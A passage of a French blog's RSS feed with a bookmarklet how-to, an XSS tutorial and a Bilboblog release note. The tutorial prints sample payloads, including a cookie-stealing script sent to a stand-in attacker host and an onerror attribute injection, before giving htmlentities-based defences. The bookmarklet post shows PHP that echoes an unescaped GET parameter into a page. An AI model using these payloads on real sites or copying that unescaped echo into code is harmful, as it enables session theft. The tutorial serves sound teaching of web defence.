<p>Vous pourrez voir le r&eacute;sultat en cliquant sur <a href="javascript:alert('Bienvenue sur '+window.location.hostname);" rel="nofollow">ce lien</a>.</p>
<h3>Cr&eacute;ation d'un bookmarklet pour Bilboblog</h3>
<p>A premi&egrave;re vue le syst&egrave;me ne pr&eacute;sente pas beaucoup d'int&eacute;r&ecirc;t. Et pourtant, avec l'utilisation de javascript, les possibilit&eacute;s sont assez impressionnantes.</p>
<p>Pour ma part, je me suis int&eacute;ress&eacute; &agrave; la cr&eacute;ation d'un bookmarklet pour <a href="/bilbobox">BilboBlog</a> (version 0.2.0 minimum), le logiciel de micro-blogging libre.</p>
<p>L'id&eacute;e de base est de cr&eacute;er un lien, qui lorsque l'on clique dessus, ouvre une popup permettant de saisir un nouveau billet. J'ai donc commenc&eacute; avec le code suivant :</p>
<blockquote><p>
&lt;a href="javascript:setTimeout('p.focus();',500);p=window.open('http://tux-planet.fr/mini-blog/admin/', 'BilboBlog','height=510,width=550,location=no,menubar=no,status=no,toolbar=no');void 0"&gt;BilboBlog!&lt;/a&gt;
</p></blockquote>
<p>Ce dernier permet d'ouvrir une popup au dessus de la page que l'on visionne. La popup poss&egrave;de alors le titre "BilboBlog" et est d&eacute;pourvue de barres de menu et de d&eacute;filement gr&acirc;ce aux diff&eacute;rentes options "menubar=no,status=no,toolbar=no".</p>
<p><img src="/public/images/screenshots/software/bilboblog/bookmarklet.png" alt="Bookmarklet" class="aligncenter" /></p>
<p>En glissant le lien dans la barre personnelle de Firefox, l'utilisateur y trouve d&eacute;j&agrave; un avantage. En effet, lorsqu'il visitera une page, il pourra cliquer sur le bouton pour ouvrir une popup et commencer &agrave; &eacute;crire un article sur le sujet qu'il vient de lire.</p>
<p>En y r&eacute;fl&eacute;chissant davantage, je me suis dit que l'on pouvait aller plus loin. En effet, il est encore plus int&eacute;ressant de cr&eacute;er un bookmarklet, capable de remplir le champ de r&eacute;daction d'un billet, avec le contenu s&eacute;lectionn&eacute; au pr&eacute;alable sur la page Internet que l'on visite.</p>
<p>Pour ce faire, il suffit simplement d'utiliser l'&eacute;v&eacute;nement  javascript "document.getSelection()", capable de r&eacute;cup&eacute;rer du texte s&eacute;lectionn&eacute;.</p>
<p>J'ai ensuite modifi&eacute; le code de l'interface d'administration de BilboBlog pour y remplir la zone de saisie automatiquement : </p>
<blockquote><p>
&lt;textarea&gt;&lt;?php if(!empty($_GET['content'])) echo trim($_GET['content']); ?&gt;&lt;/textarea&gt;
</p></blockquote>
<p>Et enfin, j'ai adapt&eacute; le bookmarklet :</p>
<blockquote><p>
&lt;a href="javascript:setTimeout('p.focus();',500);p=window.open('http://tux-planet.fr/mini-blog/admin/?content='+document.getSelection(),'BilboBlog','height=510,width=550,location=no,<br/> menubar=no,status=no,toolbar=no');void 0"&gt;BilboBlog!&lt;/a&gt;
</p></blockquote>
<p>Voici un petit screencast qui montre le r&eacute;sultat final (&eacute;galement disponible en meilleure qualit&eacute; et au format avi : <a href="http://www.tux-planet.fr/public/videos/screencasts/bookmarklet.avi" title="Screencast sur l'utilisation du Bookmarklet de BilboBlog">bookmarklet.avi</a>): </p>
<p><object class="video" type="application/x-shockwave-flash" data="/public/videos/player.swf"><param name="movie" value="/public/videos/player.swf" /><param name="allowFullScreen" value="true" /><param name="FlashVars" value="flv=/public/videos/screencasts/bookmarklet.flv&#038;showvolume=1&#038;showtime=1&#038;volume=100&#038;showfullscreen=1&#038;title=Screencast sur l'utilisation du Bookmarklet de BilboBlog" /></object></p><p><br/><hr><a href="http://www.tux-planet.fr/creer-un-bookmarklet-pour-une-application-web/">Créer un bookmarklet pour une application web</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/creer-un-bookmarklet-pour-une-application-web/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
<enclosure url="http://www.tux-planet.fr/public/videos/screencasts/bookmarklet.avi" length="8650240" type="video/avi" />
		</item>
		<item>
		<title>Les failles de sécurité XSS ou Cross Site Scripting</title>
		<link>http://www.tux-planet.fr/les-failles-de-securite-xss-ou-cross-site-scripting/</link>
		<comments>http://www.tux-planet.fr/les-failles-de-securite-xss-ou-cross-site-scripting/#comments</comments>
		<pubDate>Wed, 05 Mar 2008 19:24:38 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://127.0.0.1/wordpress/2008/03/05/les-failles-de-securite-xss-ou-cross-site-scripting/</guid>
		<description><![CDATA[<p><img src="/blog/images/icons/xss.png" alt="XSS Cross site scripting" class="img-center" /><br/> Derni&#232;rement, une faille de s&#233;curit&#233; de type Cross Site Scripting, a &#233;t&#233; d&#233;couverte dans une version de d&#233;veloppement de Bilboblog (qui n'a jamais &#233;t&#233; publi&#233;e, donc personne n'est concern&#233;e). J'ai donc profit&#233; de cette occasion pour me pencher sur le fonctionnement de ces derni&#232;res et des solutions existantes pour les contrer efficacement.</p><p><br/><hr><a href="http://www.tux-planet.fr/les-failles-de-securite-xss-ou-cross-site-scripting/">Les failles de sécurité XSS ou Cross Site Scripting</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/xss.png" alt="XSS Cross site scripting" class="aligncenter" /><br />
Derni&egrave;rement, une faille de s&eacute;curit&eacute; de type Cross Site Scripting, a &eacute;t&eacute; d&eacute;couverte dans une version de d&eacute;veloppement de Bilboblog (qui n'a jamais &eacute;t&eacute; publi&eacute;e, donc personne n'est concern&eacute;e). J'ai donc profit&eacute; de cette occasion pour me pencher sur le fonctionnement de ces derni&egrave;res et des solutions existantes pour les contrer efficacement.</p>
<p><span id="more-415"></span></p>
<h3>1. Quelques explications</h3>
<p>Le Cross Site Scripting, abr&eacute;g&eacute; <acronym title="Cross-Site Scripting">XSS</acronym> (Cross voulant dire "croix" en anglais, le symbole X a &eacute;t&eacute; choisi pour le repr&eacute;senter), est un type de faille de s&eacute;curit&eacute; que l'on trouve typiquement dans les applications web.</p>
<p>Le principe consiste &agrave;  injecter du code (html, javascript ...) directement dans les pages web. Cela se fait g&eacute;n&eacute;ralement via un formulaire &agrave; remplir, en d&eacute;posant un message dans un forum, dans un moteur de recherche ou directement dans l'<acronym title="Uniform Resource Locator">URL</acronym> d'un site, en y ajoutant quelques param&egrave;tres. </p>
<h3>2. Exemples d'attaques simples</h3>
<p>Notre premier exemple, sûrement l'un des plus simples, se base sur la ligne de code suivante :</p>
<blockquote><p>&lt;script&gt;alert('bonjour')&lt;/script&gt;</p></blockquote>
<p>Imaginons que l'on trouve un site vuln&eacute;rable, qui propose par exemple de laisser un commentaire aux visiteurs. On pourra copier/coller cette ligne dans la zone de saisie. Ainsi, lors de l'affichage du commentaire le site ex&eacute;cutera quelque chose comme cela :</p>
<blockquote><p>
&lt;html&gt;<br />
&lt;body&gt;<br />
....<br />
Votre commentaire :<br />
&lt;p&gt;&lt;script&gt;alert('bonjour')&lt;/script&gt;&lt;/p&gt;<br />
...<br />
&lt;/body&gt;<br />
&lt;/html&gt;
</p></blockquote>
<p>On comprend donc ici, que lors du chargement de la page, les navigateurs web seront forc&eacute;s d'ex&eacute;cuter le code inject&eacute; pour afficher une petite boite de dialogue, contenant le message "bonjour".</p>
<p>A partir de l&agrave;, les possibilit&eacute;s d'injection sont nombreuses, voir infinies. Voici quelques exemples tr&egrave;s courants :</p>
<p>- rediriger tous les visiteurs vers un autre site :</p>
<blockquote><p>&lt;script language="javascript"&gt;document.location.href="http://site-du-hacker.com/"&lt;/script&gt;</p></blockquote>
<p>- afficher un contenu souhait&eacute; par le hacker (message, pubs ...) :</p>
<blockquote><p>&lt;script&gt;document.write('ma pub')&lt;/script&gt;</p></blockquote>
<p>voler des informations aux visiteurs (cookies, sessions ...) :</p>
<blockquote><p>
&lt;script&gt;window.open('http://site-du-hacker.com/recupcookie.php?val='+document.cookie");&lt;/script&gt;
</p></blockquote>
<h3>3. Les attaques par URLs</h3>
<p>Bien sûr d'autres techniques d'attaques existent. Il est par exemple possible d'injecter du code directement dans les param&egrave;tres d'une <acronym title="Uniform Resource Locator">URL</acronym>.</p>
<p>Prenons le code php suivant :</p>
<blockquote><p>
&lt;?php<br />
...<br />
echo "Bienvenue ".$_GET['pseudo'];<br />
...<br />
?&gt;
</p></blockquote>
<p>Une utilisation normale de l'url sera la suivante :</p>
<p>http://monsite.fr/?pseudo=pti-seb</p>
<p>Tandis qu'un utilisateur mal intentionn&eacute; pourra utiliser :<br />
http://monsite.fr/?pseudo=&lt;script&gt;alert("hacked by pti-seb");&lt;/script&gt; </p>
<h3>4. Les attaque de formulaires</h3>
<p>Les formulaires html ne sont pas &agrave; l'abri non plus, lorsque l'on oublie de v&eacute;rifier le contenu des champs envoy&eacute;s par les utilisateurs.</p>
<p>Imaginons un moteur de recherche programm&eacute; comme celui-ci :</p>
<blockquote><p>
&lt;form method="post" action="resultat.php"&gt;<br />
&nbsp;&nbsp; Chercher : &lt;input type="text" name="valeur" /&gt;<br />
&nbsp;&nbsp; &lt;input type="submit" value="Chercher" /&gt;<br />
&lt;/form&gt;
</p></blockquote>
<p>Un hacker pourra choisir de d&eacute;porter ce formulaire en local, en prenant soin de modifier le champ "action" et d'y injecter le code voulu :</p>
<blockquote><p>
&lt;form method="post" <b>action="http://monsite.fr/resultat.php"</b>&gt;<br />
&nbsp;&nbsp; Chercher : &lt;input type="text" name="valeur" <b>value="&lt;script&gt;alert('hacked by pti-seb')&lt;/script&gt;" /&gt;</b><br />
&nbsp;&nbsp; &lt;input type="submit" value="Chercher" /&gt;<br />
&lt;/form&gt;
</p></blockquote>
<p>Si les valeurs envoy&eacute;es sont mal prot&eacute;g&eacute;es, le moteur de recherche affichera ce message :<br />
Aucun r&eacute;sultat trouv&eacute; pour "&lt;script&gt;alert('hacked by pti-seb')&lt;/script&gt;" </p>
<h3>5. Les solutions</h3>
<p>Une premi&egrave;re solution pour contrer ces attaques, serait tout simplement d'interdire l'utilisation de la balise html &lt;script&gt;. Mais cela n'est pas suffisant, car on peut contourner facilement la protection en utilisant d'autres balises html, comme la balise iframe :</p>
<blockquote><p>
&lt;iframe src=&quot;http://site-du-hacker.com&quot;&gt;&lt;/iframe&gt;
</p></blockquote>
<p>Il est donc plus prudent d'interdire toute utilisation de balises html. La fonction Php strip_tags() permet de faire cela et peut aller plus loin en autorisant seulement certaines balises. On pourra aussi utiliser une fonction similaire &agrave; celle-ci, qui s'occupe de neutraliser toutes les balises html :</p>
<blockquote><p>
function antiXss($chaine) {<br />
&nbsp;&nbsp; $chaine = str_replace("&lt;", "", $chaine);<br />
&nbsp;&nbsp; return str_replace("&gt;", "", $chaine);<br />
}
</p></blockquote>
<p>Mais l&agrave; encore, cette m&eacute;thode est insuffisante face aux exploits n'utilisant aucune balise. Pour mieux comprendre, regardons ce code, qui ne poss&egrave;de aucune protection :</p>
<blockquote><p>
&lt;?php<br />
...<br />
echo 'Votre image : &lt;img src="'.$_GET['filename'].'" /&gt;';<br />
...<br />
?&gt;
</p></blockquote>
<p>Une utilisation normale sera :</p>
<p>http://monsite.fr/?filename=/public/images/photos/informatique/windows/vista.jpg</p>
<p>Ce qui donnera en php :</p>
<blockquote><p>
echo 'Votre image : &lt;img src="/public/images/photos/informatique/windows/vista.jpg" /&gt;';
</p></blockquote>
<p>Tandis qu'une utilisation mal intentionn&eacute;e pourra &ecirc;tre :<br />
http://monsite.fr/?filename="onerror="alert('hacked by pti-seb')"a=".jpg</p>
<p>Ce qui donnera en php :</p>
<blockquote><p>echo 'Votre image : &lt;img src="<b>"onerror="alert('hacked by pti-seb')"a=".jpg</b>" /&gt;';</p></blockquote>
<p> La source de l'image n'existant pas, le navigateur ex&eacute;cutera l'&eacute;v&eacute;nement javascript onError.</p>
<p>La solution pour contrer tous ces exploits reste sans doute l'utilisation de la fonction Php htmlentities. En plus de neutraliser les balises, elle est capable de convertir les guillemets simples et doubles en code html et de d&eacute;tecter l'utilisation d'encodages diff&eacute;rents. Voici un exemple :</p>
<blockquote><p>
function antiXss($chaine) {<br />
&nbsp;&nbsp; return htmlentities($chaine, ENT_QUOTES);<br />
}
</p></blockquote>
<h3>6. Conclusion</h3>
<p>Ils existent bien sûr une multitude de techniques d'injection de code qui n'ont pas &eacute;t&eacute; vues ici. Lors d'un d&eacute;veloppement web, &agrave; chaque fois que l'internaute pourra saisir une donn&eacute;e dans un formulaire ou autre, la question du <acronym title="Cross-Site Scripting">XSS</acronym> se posera syst&eacute;matiquement.</p>
<p>Il faudra donc de tester soigneusement chaque zone de saisie ou chaque param&egrave;tre d'<acronym title="Uniform Resource Locator">URL</acronym> afin de s&eacute;curiser au mieux son site web.</p><p><br/><hr><a href="http://www.tux-planet.fr/les-failles-de-securite-xss-ou-cross-site-scripting/">Les failles de sécurité XSS ou Cross Site Scripting</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/les-failles-de-securite-xss-ou-cross-site-scripting/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Bilboblog, a free micro-blogging php application</title>
		<link>http://www.tux-planet.fr/bilboblog-a-free-micro-blogging-php-application/</link>
		<comments>http://www.tux-planet.fr/bilboblog-a-free-micro-blogging-php-application/#comments</comments>
		<pubDate>Sun, 06 Jan 2008 22:25:07 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[Logiciels Libres]]></category>
		<category><![CDATA[bilboblog]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[libre]]></category>
		<category><![CDATA[microblog]]></category>
		<category><![CDATA[mini-blog]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://127.0.0.1/wordpress/2008/01/06/bilboblog-a-free-micro-blogging-php-application/</guid>
		<description><![CDATA[<p><img src="/blog/images/icons/micro-blog-red.png" alt="micro-blog" class="img-center" /><br/> Bilboblog is a small application of micro-blogging in Php / MySQL I've made for the creation of this <a href="/mini-blog" hreflang="fr">mini-blog</a>. To ensure that everyone benefits, I share its source code which is under a free license.</p><p><br/><hr><a href="http://www.tux-planet.fr/bilboblog-a-free-micro-blogging-php-application/">Bilboblog, a free micro-blogging php application</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/micro-blog-red.png" alt="micro-blog" class="aligncenter" /><br />
Bilboblog is a small application of micro-blogging in Php / MySQL I've made for the creation of this <a href="/mini-blog" hreflang="fr">mini-blog</a>. To ensure that everyone benefits, I share its source code which is under a free license.</p>
<p><span id="more-404"></span></p>
<h3>What is a microblog?</h3>
<p>A small definition found on Internet will help to better understand this word:<br />
"The microblog is a derivate of the blog that allows you to send messages in a short format (less than 200 characters) and to share your knowledge with any people." </p>
<p>If you missed the starting of this mini-blog, it's possible to read it below  (in french only):<br />
<a href="/tux-planet-lance-le-mini-blog">Tux-planet launches his mini-blog</a>.</p>
<h3>Downloading and installing</h3>
<p>You can download the latest version of bilboblog <a href="/public/bilbobox/bilboblog/bilboblog-latest.tar.gz">here</a>. To install, you should simply follow the instructions of the INSTALL file, provided with the software.</p>
<h3>Features of this version</h3>
<p>Here is the list of key features:</p>
<ul>
<li>Incorporates management gravatars</li>
<li>supports special encodings</li>
<li>It has an administration interface for writing new articles or delete them</li>
<li>There is a management system cache</li>
<li>Manages Atom feeds</li>
</ul>
<h3>The source code</h3>
<p>The full source code is distributed under the free License <a href="http://www.fsf.org/licensing/licenses/agpl-3.0.html" rel="nofollow">AGPLv3</a> (= Affero GPLv3). This one is the resumption of the GPLv3 with a slight change in order to adapt it to better networking applications.</p>
<p>Please, observe:</p>
<ul>
<li>The terms of that license (AGPLv3)</li>
<li>Any changes to redistribute the program under the same license</li>
<li>To leave the link at the bottom of page to the author's website</li>
</ul>
<h3>Ideas for improvements</h3>
<p>If you want to take part of the project, here are some ideas for possible improvements.</p>
<ul>
<li>Addition of a management system for multiple languages</li>
<li>Addition of a management system plugins</li>
<li>Creation of a Firefox's plugin to post new articles directly from the browser without going through the administration interface</li>
<li>Creation of new themes, logo, buttons promotion</li>
<li>...</li>
</ul>
<p>You should keep in mind that micro-blogging concept is based on very short articles and quickly writing. This mini-blog has been developed using 3 mains lines : safety, lightness and speed. Any changes or improvements should follow these rules to provide a quality application.</p><p><br/><hr><a href="http://www.tux-planet.fr/bilboblog-a-free-micro-blogging-php-application/">Bilboblog, a free micro-blogging php application</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/bilboblog-a-free-micro-blogging-php-application/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
	</channel>
</rss>

